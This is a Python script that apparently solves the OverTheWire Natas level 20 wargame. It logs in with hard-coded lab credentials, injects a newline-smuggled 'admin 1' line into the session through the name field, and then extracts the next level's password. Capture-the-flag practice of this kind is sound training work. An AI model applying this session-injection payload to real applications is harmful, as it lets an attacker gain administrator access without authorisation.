#!/usr/bin/env python3

# coding : utf-8

import requests
import re


def exploit():
    URL = 'http://natas20.natas.labs.overthewire.org'
    password_pattern = re.compile(r'Password: [a-zA-Z0-9]{32}')
    session = requests.Session()
    session.auth = ('natas20', 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF')
    payload = {'name': 'admin \nadmin 1'}
    r = session.post(URL, data=payload)
    r2 = session.post(URL, data={'name': 'admin'})
    pass_found = re.search(password_pattern, r2.text)

    if pass_found:
        print(pass_found.group(0))

if __name__ == "__main__":
    exploit()

